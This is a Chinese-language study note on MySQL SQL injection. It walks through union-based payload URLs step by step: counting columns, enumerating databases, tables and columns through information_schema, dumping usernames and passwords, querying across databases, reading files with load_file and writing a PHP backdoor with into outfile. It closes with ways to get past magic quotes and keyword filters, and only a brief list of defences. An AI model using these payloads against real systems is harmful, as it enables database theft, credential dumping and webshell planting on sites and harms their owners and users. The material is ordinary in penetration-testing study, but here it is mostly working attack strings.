SQL注入学习笔记(二)–MYSQL数据库注入之数据注入

MYSQL数据库结构–注意!!!这是MYSQL数据库的注入

MYSQL数据库结构–step by step get 权限
数据库A=网站A(first step)=数据库普通用户A(若为root最高权限用户,可实现跨库)
表名(second)
列名(third)
数据(dourth)
数据库B=网站B=数据库普通用户A
表名
列名
数据
数据库C=网站C=数据库普通用户A
表名
列名
数据
数据库A=网站A=数据库用户A ——>表名——>列名——>数据
数据库B=网站B=数据库用户B ——>表名——>列名——>数据
数据库C=网站C=数据库用户C ——>表名——>列名——>数据
备注:这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,
当然这是最基础的数据库模型,现在大网站都是分布式数据库。

信息收集–便于后期选择何种方式进行数据注入或者高权限注入

数据库版本:version()–方便在进行下面的数据注入1时选择何种方式注入
数据库名字:database()–判断是否为高权限
数据库用户:user()–管理员
操作系统:@@version_compile_os–linux与Windows,哪个分大小写
其他(网站路径等)

数据注入

同数据库:
低版本(5.0以下):暴力查询或结合读取查询
高版本(5.0以上):information_schema有据查询

MYSQL数据库数据注入流程

1、判断注入
2、猜解列名数量(字段数)–order by number(报错的前一个就为列数,order by number中,number是以第number列为参考进行排序)。
3、报错猜解准备:
根据2得到的列数,

1
www.xiaodi8.com/index.php?id=8 union select 1,2,3,4--为了看哪些参数能够显示在页面上。

然后让他报错,即在网页页面仅仅显示一个数字(1,2,3,4的任一个),执行:

1
2
www.xiaodi8.com/index.php?id=-8 and 2=222 union select 1,2,3,4;--and 2=222写不写无所谓。
(id=-8 是为了让回显的结果为空执行后面union的字句。)

4、信息收集:
由于3,为什么要报错:这样就可以在页面看到显示的那个数字,比如说在页面看到2、3,那就在2,3作为参数修改的位置。
然后执行:

1
www.xiaodi8.com/index.php?id=-8 and 2=222 union select 1,version(),database(),4;

这样可以收集到数据库以及版本信息(参数回显)。
然后,查询用户以及操作系统:

1
www.xiaodi8.com/index.php?id=-8 and 2=222 union select 1,user(),@@version_compile_os,4;

5、开搞:
(1)在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
(2)在数据库中,”.”代表下一级,如xiaodi.user代表xiaodi数据库中的user表。
(3)相关表名:
information_schema.schemata #记录所有数据库名的表
information_schema.tables #记录所有表名信息的表
information_schema.columns #记录所有列名信息的表
table_name #表名
column_name #列名
table_schema/schema_name #数据库名–table_schema是表tables和columns中的字段,schema_name是表schemata下的字段
(4)查询信息收集获取到的数据库名下(假设为mozhe)的所有表名信息

1
2
www.xiaodi8.com/index.php?id=-8 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe';(
table_schema是tables的一个字段,存储数据库名)

(5)查询通过(4)获取到的表名(假设为color)下的所有列名信息(因为不知道这个表有什么)

1
www.xiaodi8.com/index.php?id=-8 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='color';

(6)此时若获取到列名,id,name,password,现在查询指定数据

1
2
www.xiaodi8.com/index.php?id=-8 union select 1,name,password,4 from color;
多个猜解:采用limit x,1--变动猜解

高权限注入

1、跨库查询(前提是需要高权限):利用注入进行跨数据库查询.本来是一个数据库对应一个网站对应一个普通用户A,但是如果是root用户,
那么这个网站存在漏洞的话,会影响到其他数据库,这就是跨库注入。(就是数据库中ROOT权限高,能访问同数据库下其他网站的数据,
如果是普通用户会有权限限制)
简述流程:
(1)获取所有数据库名:

1
www.xiaodi8.com/index.php?id=-8 union select 1,group_concat(schema_name),3,4 from information_schema.schemata;

(2)获取指定数据库名qyysw下的表名:

1
www.xiaodi8.com/index.php?id=-8 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='qyysw';

(3)在指定数据库(qyysw)指定表名(admin)查询列名:

1
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='admin' and schema_name='qyysw';

(4)在指定数据库的指定表查询数据:

1
union select 1,u,p,4 from qyysw.admin;(为什么这里要qyysw.admin指定数据库,因为这里是跨库,而上面那里不是跨库--即跨库查询的时候一定要指定数据库名)

2、文件读取:利用注入进行文件读取或写入(前提:知道路径,获取管理员权限)
(1)MYSQL数据库内置的两个函数:
load_file 文件读取函数
into outfile 或into dumpfile 文件写入/导出函数
(2)文件路径获取方法:报错显示(路径后乱打一通)、遗留文件(找phpinfo.php)、漏洞报错(搭建平台软件漏洞爆路径)、平台配置文件、爆破等。
(3)假设知道路径后:
读入:
?id=-8 union select 1,load_file(‘d:\ww.txt’),3,4;(\是防转义,防止\被转换)
写入(后门):
?id=-8 union select 1,’x(要写入的代码)’,3,4 into outfile ‘D:\PYstart\x.php’ –+(查看网站源代码,若后面有其他SQL语句,注释掉后面的内容);

魔术引号

关于文件读写,存在一个魔术引号的概念(存在于php5.3.4及其以下的版本)
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线()进行转义,这个的作用跟addslashes()的作用完全相同,一定程度上防止了SQL注入。
绕过方法:
采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
编码软件:winhex、小葵

相关防注入

1、自带防御:魔术引号
2、内置函数:int()等
3、自定义关键字:select–可以通过大小写混合(Select),双写(selselectect)绕过
4、WAF防护软件:安全狗、宝塔等
跨库注入演示:15:00处
文件读取是有讲究的:读取敏感信息